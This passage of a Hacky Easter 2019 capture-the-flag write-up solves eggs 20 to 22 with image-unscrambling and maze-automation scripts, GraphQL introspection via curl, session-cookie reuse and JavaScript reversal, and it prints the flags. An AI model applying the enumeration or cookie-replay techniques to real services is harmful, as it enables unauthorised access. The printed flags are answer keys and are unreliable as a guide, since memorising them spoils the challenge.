(0, 0, 53, 0)
(0, 0, 46, 0)
(46, 0, 0, 0)
...

After thinking about those pixels a while, I assumed that the specific value of one line determine, where this line of the image should actually be. This would mean, that we just have to reorder the lines:

Before:

[--- line 23 ---]
[--- line 214 ---]
[--- line 175 ---]
[--- line 223 ---]
[--- line 53 ---]
...


Afterwards:

[--- line 1 ---]
[--- line 2 ---]
[--- line 3 ---]
[--- line 4 ---]
[--- line 5 ---]
...


The harder part was to figure out, how the colors within a single line of the images were mixed up. By comparing the RGB-values with the values of a valid red egg, it seemed to me that the channels (RGB) have been shifted.

Also, the three pixels within each line are always at a different position. And only one value (R, G or B) is actually set. Now this make sense! The position of the pixel within a line determine how many position the channel has been shifted. For example a shift could look like this:

R: [4 5 6 7 8 9 0 1 2 3 ...]
G: [1 2 3 4 5 6 7 8 9 0 ...]
B: [7 8 9 0 1 2 3 4 5 6 ...]


Thus we have to revert the shifting:

R: [0 1 2 3 4 5 6 7 8 9 ...]
G: [0 1 2 3 4 5 6 7 8 9 ...]
B: [0 1 2 3 4 5 6 7 8 9 ...]


The following python script carries out both of the mentioned steps:
#!/usr/bin/env python

from PIL import Image

img = Image.open('egg.png')
pix = img.load()

line_map = {}

for h in range(img.size[1]):
  r=[]; g=[]; b=[]
  r_idx=0; g_idx=0; b_idx=0;
  line_num=0
  for w in range(img.size[0]):
    p = pix[w,h]
    if (p[3] == 0):
      # special pixel
      line_num = p[0]+p[1]+p[2]
      if (p[0] > 0)  : r_idx = w
      elif (p[1] > 0): g_idx = w
      elif (p[2] > 0): b_idx = w
    else:
      r.append(p[0])
      g.append(p[1])
      b.append(p[2])

  # processed one line of the image
  line_map[line_num] = []
  for i in range(256):
    line_map[line_num].append( (r[(i+r_idx)%256], g[(i+g_idx)%256], b[(i+b_idx)%256]) )

# reorder lines
new_pixels = []
for i in range(256): new_pixels += line_map[i]

img_new = Image.new('RGB', (256, 256))
img_new.putdata(new_pixels)
img_new.save('egg_out.png')

Running the script:
root@kali:~/Documents/he19/egg20# ./unscrambleEgg.py

… creates a new file egg_out.png:



The flag is he19-NUSm-dv5t-thFy-XVMV.

21 – The Hunt: Misty Jungle

After choosing the path Misty-Jungle on the challenge website, the first relevant information can be found here:



It turned out that the string is simply rotated by 1. Thus we can subtract 1 from each character to gain the original string:
root@kali:~/Documents/he19/egg21# python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> s = '``bqq`vsm``0npwf0y0z'
>>> r = ''
>>> for c in s: r += chr(ord(c)-1)
...
>>> r
'__app_url__/move/x/y'


Accordingly the string is __app_url__/move/x/y, which tells us how we can move.

After clicking on I'm ready! we get to the following page:



Knowing how to move we can for example append /move/1/0 to the URL in order to move to the right:



There is obviously a wall at the right side of us. Moving to the top (/move/0/-1) does work, though:



In order to expose all walls of the maze, I wrote the following python script:
#!/usr/bin/env python

import requests
import readchar

def move(s,d):
  if (d == 'd'): url_d = '1/0'
  elif (d == 'a'): url_d = '-1/0'
  elif (d == 'w'): url_d = '0/-1'
  elif (d == 's'): url_d = '0/1'
  return s.get('http://whale.hacking-lab.com:5337/move/'+url_d)

def dirToCoord(d):
  if (d == 'd'): return (1,0)
  elif (d == 'a'): return (-1,0)
  elif (d == 'w'): return (0,-1)
  elif (d == 's'): return (0,1)

def printField(f):
  for i in range(SIZE-1):
    for j in range(SIZE-1):
      print(f[j][i]),
    print('')
  saveField(f, SIZE)

def loadField(f):
  try:
    lines = open('field_'+str(SIZE)+'.txt').read().split('\n')
    i = 0
    lines = lines[:-1]
    for line in lines:
      line = line[:-1]
      j = 0
      for val in line.split(','):
        if (val != 'o'):
          f[i][j] = val
        j += 1
      i += 1
  except: pass

def saveField(f, s):
  pFile = open('field_'+str(SIZE)+'.txt','w')
  for i in range(SIZE-1):
    line = ''
    for j in range(SIZE-1):
      line += str(f[i][j])+','
    pFile.write(line[:-1]+'\n')
  pFile.close()



s = requests.Session()

s.get('http://whale.hacking-lab.com:5337/1804161a0dabfdcd26f7370136e0f766')
s.get('http://whale.hacking-lab.com:5337/')

field = []
SIZE = 57


for i in range(SIZE-1):
  field.append([])
  for j in range(SIZE-1):
    field[i].append(' ')

curp = (len(field)/2,len(field)/2)

loadField(field)
field[curp[0]][curp[1]] = 'o'
printField(field)

while True:
  while True:
    direction = readchar.readchar()
    if (direction == 'x'): quit()
    if (direction == 'p'): print(s.cookies.get_dict())
    if (direction in 'wasd'): break
  resp = move(s, direction).text
  dtc = dirToCoord(direction)
  if ('Ouch! You would hit a wall.' in resp):
    field[curp[0]+dtc[0]][curp[1]+dtc[1]] = 'X'
  else:
    field[curp[0]][curp[1]] = ' '
    curp = (curp[0] + dtc[0], curp[1] + dtc[1])
    field[curp[0]][curp[1]] = 'o'
  printField(field)
  if ('<h3 style="margin-bottom:-5px">' in resp):
    h3 = resp[resp.index('<h3 style="margin-bottom:-5px">')+4:]
    h3 = h3[:h3.index('</h3>')]
    print('--> ' + h3)


This script can be used to move around in the maze and find walls (Ouch! You would hit a wall.) as well as challenges (usually enclosed in a <h3> tag). It can also be used to print the current session cookie by pressing p in order to use this session within a browser to manually solve a task.

Based on the output of the script, I created the following map:



One very important aspect of this challenge (also true for egg22) is, that the whole state of the game is stored in the user’s session cookie. This means that we don’t have to repeatedly solve the single tasks, but can simply save the session cookie after having solved a task and always use this saved cookie as a starting pointer to solve further tasks. Once we have solved another task, we take this session cookie and proceed with the next task and so forth.

So let’s have a look at the single tasks:

Warmup


This is the very first task, we have to solve:



The picture on the left is a static picture (c11.png). The picture on the right is dynamically created and contains a few pixels, which differ from the static image. We only have to find those different pixels:
def solveChallenge11():
  img1 = Image.open('c11/c11.png')
  pix1 = img1.load()
  img2 = Image.open('c11/img.png')
  pix2 = img2.load()

  res = '['
  for w in range(img1.size[0]):
    for h in range(img1.size[1]):
      if (pix1[w,h] != pix2[w,h]):
        res += '['+str(w)+','+str(h)+'], '
  res = res[:-2]+']'
  return res

resp = # ... contains html code of task website ...
find1 = '<img src="../../static/img/ch11/challenges/'
img = resp[resp.index(find1)+len(find1):]
img = img[:img.index('">')]
# download image!
imgUrl = 'http://whale.hacking-lab.com:5337/static/img/ch11/challenges/'+img
imgDownload = s.get(imgUrl).content
f = open('c11/img.png', 'w')
f.write(imgDownload)
f.close()
res = solveChallenge11()
resp = s.get('http://whale.hacking-lab.com:5337/?pixels='+res).text
if ('You solved it!' in resp): print('solved c11!')
else:
  print('failure solving c11')
  quit()


C0tt0nt4il Ch3ck


This task requires the user to solve 10 equations in time:



This task really took me some time. I figured out that the number of different pictures is quite limited. Thus I wrote a little script, which downloaded all different images and prompted me to manually enter the result. I stored the solution in a text file:
root@kali:~/Documents/he19/egg21/c12# cat sol.txt
a94e1283-de0c-142-879b-97d5764c4bb0.png,142
7230c105-78be-77-900d-af88e24804dc.png,77
e6cd83d0-cf6b-142-8989-489bc9742630.png,142
3e1785d4-f44f-92-8d4c-d9f9cb6c529d.png,92
788116b2-591a-107-85c5-c4c273e74ea6.png,107
0f41dcad-1774-74-970b-257da9e7cc6a.png,74
11f1a7bd-6e36-71-9003-cdbde3133213.png,71
487f71d7-57fd-87-bb59-4141ef304261.png,87
459bb71e-8a2c-5-8ab7-3497476614e4.png,5
3ea51eb7-b92e-47-b393-6528daa628cd.png,47
84a604ef-0948-90-96a1-5f8df8c3ad57.png,90
6b9dbe13-a072-148-bd18-9e25f95bc32a.png,148


Now this file can be used to automatically solve the 10 equations in time:
result_map = {}
lines = open('c12/sol.txt').read().split('\n')
for line in lines:
  line = line.strip()
  if (len(line) == 0): continue
  imgName = line.split(',')[0]
  res = line.split(',')[1]
  result_map[imgName] = res

def solveChallenge12(s, resp):
  solvedCnt = 0
  while True:
    if ('Your journey ends here.' in resp): return False
    find1 = '<img id="captcha" src="static/img/ch12/challenges/'
    img = ''
    try:
      img = resp[resp.index(find1)+len(find1):]
    except: break
    img = img[:img.index('">')]
    if (img in result_map):
      solvedCnt += 1
      print('found image in map: '+str(solvedCnt))
      resp = s.get('http://whale.hacking-lab.com:5337/?result='+result_map[img]).text
    else:
      return False
    if (solvedCnt == 10 and 'Check successful!' in resp):
      return True

if (solveChallenge12(s, resp)): print('solved c12!')
else:
  print('failure solving c12')
  quit()




Mathonymous


This task requires us to determine the mathematical operations within a equation:



In order to solve this task, I extracted the numbers of the equation and bruteforced the possible operations using eval to calculate the result:
def solveChallenge13(s, resp):
  find1 = '<td><code style="font-size: 1em; margin: 10px">'
  vals = []
  vals_tmp = resp
  for i in range(6):
    vals_tmp = vals_tmp[vals_tmp.index(find1)+len(find1):]
    vals.append(vals_tmp[:vals_tmp.index('</code>')])

  print(vals)
  find1 = '<td><code style="font-size: 1em">='
  vals_tmp = vals_tmp[vals_tmp.index(find1)+len(find1):]
  vals_res = vals_tmp[:vals_tmp.index('</code>')]
  print(vals_res)

  ops = ['+','-','*','/']
  for op1 in ops:
    for op2 in ops:
      for op3 in ops:
        for op4 in ops:
          for op5 in ops:
            eq = 'float('+vals[0]+')'+op1+'float('+vals[1]+')'+op2+'float('+vals[2]+')'+op3+'float('+vals[3]+')'+op4+'float('+vals[4]+')'+op5+'float('+vals[5]+')'
            res = eval(eq)
            if (float(vals_res)-0.01 < res < float(vals_res)+0.01):
              op1 = op1.replace('+','%2b').replace('-','%2d').replace('*','%2a').replace('/','%2f')
              op2 = op2.replace('+','%2b').replace('-','%2d').replace('*','%2a').replace('/','%2f')
              op3 = op3.replace('+','%2b').replace('-','%2d').replace('*','%2a').replace('/','%2f')
              op4 = op4.replace('+','%2b').replace('-','%2d').replace('*','%2a').replace('/','%2f')
              op5 = op5.replace('+','%2b').replace('-','%2d').replace('*','%2a').replace('/','%2f')
              resp = s.get('http://whale.hacking-lab.com:5337/?op='+op1+op2+op3+op4+op5).text
              if ('You solved it!' in resp): return True
              else: return False
  return False

if (solveChallenge13(s, resp)): print('solved c13!')
else:
  print('failure solving c13!')
  quit()



Actually an automated bruteforce script is not necessary, as it suffices to solve this task manually once (and use the session cookie as a saved state).

Mysterious Circle


When we enter the mysterious circle before having solved the three challenges, we see the following page:



After having solved all three challenges, we don’t see this message again when stepping on the mysterious circle:



The message from the Navigator states: Something strange happened. You seem to be at a complete different place.

As it turned out, the mysterious circle teleported us to another maze. Using the save session cookie, we can reuse the script from above to expose this new maze. Based on the output, I created the following map:




Pumple’s Puzzle


In the first task of the second map we have to assign different attributes to five bunnies based on 16 statements:



I solved this task by hand on a sheet of paper by simply eliminating possible attributes based on the single statements until every attribute was explicitly assigned to a bunny.

At first I did not simply reuse the session cookie and thus needed to solve each task a few times. With this task the assignment changes every time the task is reloaded. Though it is only a bijective mapping and can simply be replaced. Thus I wrote the following script to solve the task automatically based on my one-time paper sheet solution:
def solveChallenge14(s, resp):
  print(resp)
  x = re.findall('<pre class="mb-2">(.+)</pre>', resp)
  pres = x[1:]

  # manual paper sheet solution
  b1_name='Bunny'; b2_name='Midnight'; b3_name='Thumper'; b4_name='Snowball'; b5_name='Angel'
  b1_clr='Red'; b2_clr='White'; b3_clr='Yellow'; b4_clr='Green'; b5_clr='Blue'
  b1_char='Attractive'; b2_char='Handsome'; b3_char='Lovely'; b4_char='Funny'; b5_char='Scared'
  b1_sign='Pisces'; b2_sign='Virgo'; b3_sign='Aquarius'; b4_sign='Capricon'; b5_sign='Taurus'
  b1_pattern='One-coloured'; b2_pattern='Striped'; b3_pattern='Chequered'; b4_pattern='Dotted'; b5_pattern='Camouflaged'

  x = re.search('The backpack of ([a-zA-Z\-]+) is ([a-zA-Z\-]+).', pres[0])
  b1_name = x.group(1).capitalize()
  b3_clr = x.group(2).capitalize()
  x = re.search('([a-zA-Z\-]+)'s star sign is ([a-zA-Z\-]+).', pres[1])
  b5_name = x.group(1).capitalize()
  b5_sign = x.group(2).capitalize()
  x = re.search('The ([a-zA-Z\-]+) backpack is also ([a-zA-Z\-]+).', pres[2])
  b4_pattern=x.group(1).capitalize()
  b4_clr=x.group(2).capitalize()
  x = re.search('The ([a-zA-Z\-]+) backpack by ([a-zA-Z\-]+) was expensive.', pres[3])
  b2_pattern=x.group(1).capitalize()
  b2_name=x.group(2).capitalize()
  x = re.search('The bunny with the ([a-zA-Z\-]+) backpack sits next to the bunny with the ([a-zA-Z\-]+) backpack, on the left.', pres[4])
  b4_clr=x.group(1).capitalize()
  b5_clr=x.group(2).capitalize()
  x = re.search('The ([a-zA-Z\-]+) is also ([a-zA-Z\-]+).', pres[5])
  b3_sign=x.group(1).capitalize()
  b3_char=x.group(2).capitalize()
  x = re.search('The ([a-zA-Z\-]+) bunny has a ([a-zA-Z\-]+) backpack.', pres[6])
  b1_char=x.group(1).capitalize()
  b1_clr=x.group(2).capitalize()
  x = re.search('The bunny with the ([a-zA-Z\-]+) backpack sits in the middle.', pres[7])
  b3_pattern=x.group(1).capitalize()
  x = re.search('([a-zA-Z\-]+) is the first bunny.', pres[8])
  b1_name=x.group(1).capitalize()
  x = re.search('The bunny with a ([a-zA-Z\-]+) backpack sits next to the ([a-zA-Z\-]+) bunny.', pres[9])
  b1_pattern=x.group(1).capitalize()
  b2_char=x.group(2).capitalize()
  x = re.search('The ([a-zA-Z\-]+) bunny sits also next to the ([a-zA-Z\-]+).', pres[10])
  b2_char=x.group(1).capitalize()
  b1_sign=x.group(2).capitalize()
  x = re.search('The ([a-zA-Z\-]+) bunny sits next to the ([a-zA-Z\-]+).', pres[11])
  b1_char=x.group(1).capitalize()
  b2_sign=x.group(2).capitalize()
  x = re.search('The backpack of the ([a-zA-Z\-]+) bunny is ([a-zA-Z\-]+).', pres[12])
  b5_char=x.group(1).capitalize()
  b5_pattern=x.group(2).capitalize()
  x = re.search('([a-zA-Z\-]+) is a ([a-zA-Z\-]+) bunny.', pres[13])
  b4_name=x.group(1).capitalize()
  b4_char=x.group(2).capitalize()
  x = re.search('([a-zA-Z\-]+) sits next to the bunny with a ([a-zA-Z\-]+) backpack.', pres[14])
  b1_name=x.group(1).capitalize()
  b2_clr=x.group(2).capitalize()

  # the name b3_name is not mentioned in the statements
  names = ['Thumper','Angel','Snowball','Midnight','Bunny']
  for name in names:
    if (name not in b1_name+b2_name+b4_name+b5_name):
      b3_name = name
      break

  # the sign b4_sign is not mentioned in the statements
  signs = ['Taurus','Aquarius','Pisces','Virgo','Capricon']
  for sign in signs:
    if (sign not in b1_sign+b2_sign+b3_sign+b5_sign):
      b4_sign = sign
      break
  sol = 'Name,'+b1_name+','+b2_name+','+b3_name+','+b4_name+','+b5_name+','
  sol += 'Color,'+b1_clr+','+b2_clr+','+b3_clr+','+b4_clr+','+b5_clr+','
  sol += 'Characteristic,'+b1_char+','+b2_char+','+b3_char+','+b4_char+','+b5_char+','
  sol += 'Starsign,'+b1_sign+','+b2_sign+','+b3_sign+','+b4_sign+','+b5_sign+','
  sol += 'Mask,'+b1_pattern+','+b2_pattern+','+b3_pattern+','+b4_pattern+','+b5_pattern
  resp = s.get('http://whale.hacking-lab.com:5337/?solution='+sol).text
  print(sol)
  if ('You solved it!' in resp): return True
  return False

  if (solveChallenge14(s, resp)): print('solved c14!')
  else:
    print('failure solving c14!')
    quit()


Punkt.Hase


The next task is called Punkt.Hase and displays a GIF animation of a blinking dot:



I used the tool convert to extract all frames out of the animation. The animation contains exactly 112 frames, which matches 112 / 8 = 14 bytes. Accordingly each frame of the animation represents a single bit. If the dot is black, the bit is 1. If the dot is white, the bit is 0. The following script executes convert to extract all frames and then checks the color of each frame to create a bit stream, which is submitted as the code:
def solveChallenge15(s, resp):
  x = re.search('<img alt="dontknow" src="../../static/img/ch15/challenges/(.+)" height="5" width="5">', resp)
  imgName = x.group(1)
  # download image
  imgUrl = 'http://whale.hacking-lab.com:5337/static/img/ch15/challenges/'+imgName
  imgDownload = s.get(imgUrl).content
  f = open('c15/img.gif', 'w')
  f.write(imgDownload)
  f.close()

  subprocess.check_output(['convert','-coalesce','c15/img.gif','c15/out%d.png'])

  r = ''
  for i in range(112):
    img = Image.open('c15/out'+str(i)+'.png')
    pix = img.load()
    if (pix[0,0] == 0): r+='0'
    else: r+='1'

  r = hex(int(r,2))[2:-1]
  resp = s.get('http://whale.hacking-lab.com:5337/?code='+r.decode('hex')).text
  if ('You solved it!' in resp): return True
  return False

if (solveChallenge15(s, resp)): print('solved c15!')
else:
  print('failure solving c15!')
  quit()


Pssst …


The next task requires us to fulfil a regular expression:



I did not automate this tasked, but solved a few variants manually and added the solutions to a script, which prompted me to enter the solution manually if an unknown regular expression is encountered:
def solveChallenge16(s, resp):
  x = re.search('<pre>He: (.+)<br>You: <input class="form-control" type="text"', resp)
  regex = x.group(1)
  print(regex)
  if (regex == '([13])([37])\\2\\1'): res = '1312'
  elif (regex == '(?<!1337)\d{3}'): res = '123'
  elif (regex == '([1337])\\1'): res = '11'
  elif (regex == '[^13-37]{5}'): res = '44444'
  elif (regex == '[1337]'): res = '1'
  elif (regex == '\\b1337\\b'): res = '1337'
  elif (regex == '(?<!13)37'): res = '37'
  elif (regex == '(?=\d+ 1337)\d+'): res = '3 13377'
  elif (regex == '<[^1337]+>'): res = '<d>'
  elif (regex == '13(?!37)'): res = '1356'
  else:
    res = raw_input('>')
  resp = s.get('http://whale.hacking-lab.com:5337/?answer='+res).text
  if ('You solved it!' in resp): return True
  return False

while (not solveChallenge16(s, resp)): print('failure solving c16!')
print('solved c16!')



The Oracle


The next task contains a quite useful hint what needs to be done:



Thus we have simply to follow the instructions of the hint, set the random.seed 1337 times and then calculate the random number:
def solveChallenge17(s, resp):
  print(resp)
  x = re.search('<code>([0-9-]+)</code>', resp)
  x = int(x.group(1))
  for i in range(1337):
    random.seed(x)
    x = random.randint(-(1337**42), 1337**42)

  resp = s.get('http://whale.hacking-lab.com:5337/?guess='+str(x)).text
  if ('You solved it!' in resp): return True
  return False

if (solveChallenge17(s, resp)): print('solved c17!')
else:
  print('failure solving c17!')
  quit()



CLC32


The following task was amazingly confusing in my opinion:



The name of the task (CLC32 ~= CRC32) and the name of the input field (checksum) suggests, that we have to find some kind of checksum.

The first button is linked to the route http://whale.hacking-lab.com:5337/live/a/life. The second one (obviously resetting something) to http://whale.hacking-lab.com:5337/?new=life.



After a bit of research, I figured out that this is an interface to a GraphQL database.

The structure of the database can be enumerated using introspection:
root@kali:~/Documents/he19/egg21# curl -g 'http://whale.hacking-lab.com:5337/live/a/life?query={__schema{types{name}}}'
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"In"},{"name":"Out"},{"name":"String"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"Boolean"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}



The only custom types are In and Out. So let’s further inspect those types:
root@kali:~/Documents/he19/egg21# curl -g 'http://whale.hacking-lab.com:5337/live/a/life?query={__type(name:%20%22In%22){name%20fields{name%20type{name%20kind}}}}'
{"data":{"__type":{"name":"In","fields":[{"name":"Out","type":{"name":"Out","kind":"OBJECT"}},{"name":"see","type":{"name":"String","kind":"SCALAR"}},{"name":"hear","type":{"name":"String","kind":"SCALAR"}},{"name":"taste","type":{"name":"String","kind":"SCALAR"}},{"name":"smell","type":{"name":"String","kind":"SCALAR"}},{"name":"touch","type":{"name":"String","kind":"SCALAR"}}]}}}

root@kali:~/Documents/he19/egg21# curl -g 'http://whale.hacking-lab.com:5337/live/a/life?query={__type(name:%20%22Out%22){name%20fields{name%20type{name%20kind}}}}'
{"data":{"__type":{"name":"Out","fields":[{"name":"In","type":{"name":"In","kind":"OBJECT"}},{"name":"see","type":{"name":"String","kind":"SCALAR"}},{"name":"hear","type":{"name":"String","kind":"SCALAR"}},{"name":"taste","type":{"name":"String","kind":"SCALAR"}},{"name":"smell","type":{"name":"String","kind":"SCALAR"}},{"name":"touch","type":{"name":"String","kind":"SCALAR"}}]}}}


Accordingly both types have the following attributes:
  • see
  • hear
  • taste
  • smell
  • touch
  • In/Out


When querying a concrete value, we can see that there seems to be a server-side counter:
root@kali:~/Documents/he19/egg21# curl -g 'http://whale.hacking-lab.com:5337/live/a/life?query={In{see%20hear%20taste%20smell%20touch%20Out{see%20hear%20taste%20smell%20touch}}}'
{"errors":[{"message":"'c18' object has no attribute 'counter'","locations":[{"line":1,"column":2}],"path":["In"]}],"data":{"In":null}}


Thus we need to supply a session cookie:
root@kali:~/Documents/he19/egg21# curl -g 'http://whale.hacking-lab.com:5337/live/a/life?query={In{see%20hear%20taste%20smell%20touch%20Out{see%20hear%20taste%20smell%20touch}}}' --cookie 'session=z.TocvCpnRrUIk9CdyjZ+2reqAyMlHSYY4woQ/Cz6C05pjqKbGobF993p8pny1tmM9jdh8jV9IkF...'
{"data":{"In":{"see":"p","hear":"X","taste":"M","smell":"H","touch":"3","Out":{"see":"r","hear":"s","taste":"G","smell":"K","touch":"k"}}}}


After a few hours of attempting to interpret something into this, I figured out, that it suffices to refresh the above request and writing down all letters, which appear on more than 3 sins (see hint).

The concatenation of those letters is the checksum supposed to be submitted. Quite a lot of guessing involved here.

Bunny-Teams


The second to last task requires us to solve a little game:



I did not automate this task, but solved it manually. Here is my solution for the given setup:




Opa & CCrypto – Museum


After having solved all previous tasks, the Opa & CCrypto - Museum appears on the map (see picture above for the location):



The source code contains the following javascript:
"use strict";

let theBoxOfCarrots = [
  [91968, "16.8.8.10.12.14.15.8.8.9.10.8.9.12.1 ... a lot of values following ...],
  [92109, "14.7.7.7.4.5.5.5.5.8.6.9.11.10.12.1 ... a lot of values following ...], ...];

/*
let a = ['abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'];
let c = 0;
let f = false;
let n = 0;
let s = 1;
let alive = true;
let age = 0;
let destiny = 7331;
let note = 'Whoever finds this may continue to tell our stories or may reveal the secret that is hidden behind all of them. gz opa & ccrypto'

function heOpened(a) {
    return a;
}

Object.prototype.and = function and() {
    if (s % 1 === 0) console.log('just');
    if (s % 3 === 0) console.log('a');
    if (s % 13 === 0) console.log('lie');
    if (s % 37 === 0) console.log('?');
    return this;
};

Object.prototype.then = function then() {
    s += 1;
    return this;
};

Object.prototype.heClosed = function heClosed() {
    this.sort((a, b) => {
        return a[0] - b[0]
    });
    return this;
};

Object.prototype.heShuffled = function heShuffled(what) {
    if (what === 'everything') {
        this.forEach((o, i) => {
            s = o[0] + Math.abs(Math.floor(Math.sin(s) * 20));
            this[i][0] = s;
        });

        this.forEach((o, i) => {
            this[i][1] += (i + ".");
        });
    }

    return this
};

Object.prototype.but = function but() {
    s = s;
    return this
};

Object.prototype.sometimes = function sometimes() {
    if (s % 133713371337 === 0) f = true;
    return this
};


Object.prototype.heForgot = function heForgot() {
    if (f) s = Math.abs(Math.floor(Math.sin(s) * parseInt(13.37)));
    f = false;
    return this
};

Object.prototype.heSaid = function heSaid(w) {
    let magic = 0;
    w.forEach((y) => {
        if (y === 'ca') {
            magic += 3;
        }
        if (y === 'da') {
            magic -= 1;
        }
        if (y === 'bra') {
            magic /= 2;
        }
    });
    s -= magic;
    return this;
};

Object.prototype.heDidThat = function heDidThat(a) {
    if (a === 'for a very long time.') {
        theBoxOfCarrots = this;
        age += 1;
        if (age > destiny) {
            alive = false;
        }
    }
};


Object.prototype.heRolled = function heRolled(a) {
    if (a === 'a really large dice') {
        n = Math.abs(Math.floor(Math.sin(s) * 1337));
    }
    return this
};


let tell_a_story = () => {
    while (alive) {
        heOpened(theBoxOfCarrots)
            .and().then().heRolled('a really large dice')
            .and().then().heSaid(['a', 'bra', 'ca', 'da', 'bra'])
            .but().sometimes().heForgot()
            .and().then().heShuffled('everything')
            .and().then().heClosed(theBoxOfCarrots)
            .and().heDidThat('for a very long time.');
    }
};

tell_a_story();
*/


Analyzing the code revealed that a lot of steps are superfluous. I started by minimizing the code to the necessary steps:
let s = 0;
var theBox = [[91968, "16.8.8.10.12.14. ... original theBoxOfCarrots here ..."], ...];

function tell_a_story_minimized() {
  for (var age = 0; age <= 7331; age++) {
    s+=3;
    theBox.forEach((o, i) => {
      s = o[0] + Math.abs(Math.floor(Math.sin(s) * 20));
      theBox[i][0] = s;
      theBox[i][1] += (i + ".");
    });
    theBox = theBox.sort((a, b) => {return a[0] - b[0]});
  }
}


Now we can write some javascript code, which reverts the steps done from the original script and thus reveals the secret:
let s = 0;
var theBox = [[91968, "16.8.8.10.12.14. ... original theBoxOfCarrots here ..."], ...];

function uncoverSecret() {
  for (var i=0;i<20;i++) theBox[i][1] = theBox[i][1].substr(0, theBox[i][1].length-1);
  for (var x = 0; x<=7331;x++) theBox = rev(theBox);
  result = [];
  for (var i = 0; i < 20; i++) result.push(theBox[i][0]);
  console.log(result);
}

function rev(tB) {
  theNewBox = [];
  for (var i=0;i<20;i++) theNewBox.push([]);
  for (var i=0;i<20;i++) {
    idxArray = tB[i][1].split('.');
	oldIdx = idxArray.pop();
	theNewBox[oldIdx] = tB[i];
	theNewBox[oldIdx][1] = idxArray.join('.');
  }
  for (var i=19;i>0;i--) {
    theNewBox[i][0] = theNewBox[i][0] - Math.abs(Math.floor(Math.sin( theNewBox[i-1][0] ) * 20));
  }
  old_s = 0;
  for (var i=0;i<20;i++) {
    if (theNewBox[i][1].length > 0) {
	  idxArrayTmp = theNewBox[i][1].split('.');
	  oldIdxTmp = idxArrayTmp[idxArrayTmp.length-1];
	  if (oldIdxTmp == 19) old_s = theNewBox[i][0];
	}
  }
  theNewBox[0][0] = theNewBox[0][0] - Math.abs(Math.floor(Math.sin( old_s+3 ) * 20));

  return theNewBox;
}


Running the function uncoverSecret takes a while, but finally outputs the original values stored in theBoxOfCarrots:



Ok, but what is the flag? Remember the variable a from the original source code?
let a = ['abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'];


The outputted values are supposed to be used as an index of a:



The flag is he19-JfsM-ywiw-mSxE-yfYa.

22 – The Hunt: Muddy Quagmire

In the same manner as described in egg21, I started by creating a map:



Let’s have a look at the single tasks:

Old Rumpy


The very first tasks requires us to calculate some time offset:



I did not automate this task, but solved it once manually and then reused the session cookie.

In this case the time zone of Mogadishu is GMT+3, which makes the result 23:03.


Simon’s Eyes


The next task is quite simple:



We only have to enter the steps we made from the start of the maze until now.


Mathonymous


Also the following task, was very easy to solve:



We only have to calculate the correct result. In this case 76*49+21-33 = 3712. This could have also been easily automated using eval. Though, it is not necessary if we save the session cookie.

Randonacci


This task also contains a very specific hint:



Although the hint was very specific, it took me a while to understand that my solution was not working since I used python2. The pseudorandom number generator used in python2 seems to differ from the one used in python3. This task requires us to use python3:
#!/usr/bin/python3

import random
random.seed(1337)
fibo = [1,1]
for i in range(150): fibo.append(fibo[-1]+fibo[-2])
for i in fibo: print(i % random.randint(1,i))



At first we initialize the random seed with 1337. After this we create a few fibonacci numbers in order to calculate the actual sequence.

By running the script and greping for the last number of the sequence before the searched value, we can determine its value:
root@kali:~/Documents/he19/egg22/c4# ./randonacci.py | grep 33195859417603166742 -A1
33195859417603166742
117780214897213996119



The solution is 117780214897213996119.

C0tt0nt4il Ch3ck


For the next task, we have to know the c0tt0nt4il alphabet:



The c0tt0nt4il alphabet is simple a kind of leetspeak. After a while I figured out, that the green image with the yellow text (bcd3f6h) merely shows an excerpt of the c0tt0nt4il alphabet in alphabetic order. 3 is e and 6 is g, which makes this bcdefgh. We only have to submit the next letter, which would be i in this case. Though, i is actually replaced by 1. In order to determine which letters are replaced by a number, we can simply rerun the task a few times and inspect the shown excerpt. The full c0tt0nt4il alphabet is 4bcd3f6h1jklmn0pqr5tuvwxyz.

Bun Bun’s Goods & Gadgets


This task offers some goods and gadgets in Bun Bun's shop:



The button beneath the text is linked to http://whale.hacking-lab.com:5337/?action=watch.

After clicking on it, we get a lot of redirects (302):



On each redirect another Content-Type is returned from the server. The different Content-Types are the actual items of the shop.

The last redirect leads us to the shop page again. This time there is a new buy button, which is linked to http://whale.hacking-lab.com:5337/?action=buy.

Clicking on this button gives us a 418 I'M A TEAPOT status code:



This is actually an HTTP status code added as part of an april fools’ joke in 1998.

The description of the task stated, that we can buy one item for free. Considering the status code and all items available in the shop, we should definitely but the shop/teabag.

In order to buy this item, we have to follow all redirects until we receive the Content-Type: shop/teabag. Then we don’t have to follow the redirect, but visit the route /?action=buy:
def solveChallenge7(s, resp):
  r = s.get('http://whale.hacking-lab.com:5337/?action=watch', allow_redirects=False)
  while (r.status_code == 302):
    print(r.headers['Content-Type'])
    if (r.headers['Content-Type'] == 'shop/teabag'):
      s.get('http://whale.hacking-lab.com:5337/?action=buy')
      resp = s.get('http://whale.hacking-lab.com:5337/').text
      if ('One day I will be able to drink tea' in resp): return True
      return False
    r = s.get('http://whale.hacking-lab.com:5337', allow_redirects=False)
  return False

if (solveChallenge7(s, resp)): print('solved c7!')
else:
  print('failure solving c7!')
  quit()


Sailor John


This task requires some math:



There are two value pairs (p1,c1 and p2,c2) for which we have to find a corresponding x1/x2 to fulfil the equation.

Both p1 and p2 are actually primes:





An emirp is actually a prime number, which when spelled backwards, is another prime number. In this case there is no real emirp, we are only supposed to spell the given prime backwards. Thus the equation for the first value pair looks like this:

reversed(p1) ^ x1 % p1 = c1

71140253671 ^ x1 % 17635204117 = 419785298

Actually this is not an easy equation to solve. Though I found this amazing page, which solves the equation in seconds:



Accordingly the result for x1 is 1647592057.

In the same manner we can calculate the result for x2:



The value of x2 is 305768189495.

At last we have to convert the numbers to ASCII characters:
root@kali:~/Documents/he19/egg22# python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(1647592057)
'0x62344279'
>>> '62344279'.decode('hex')
'b4By'
>>> hex(305768189495)
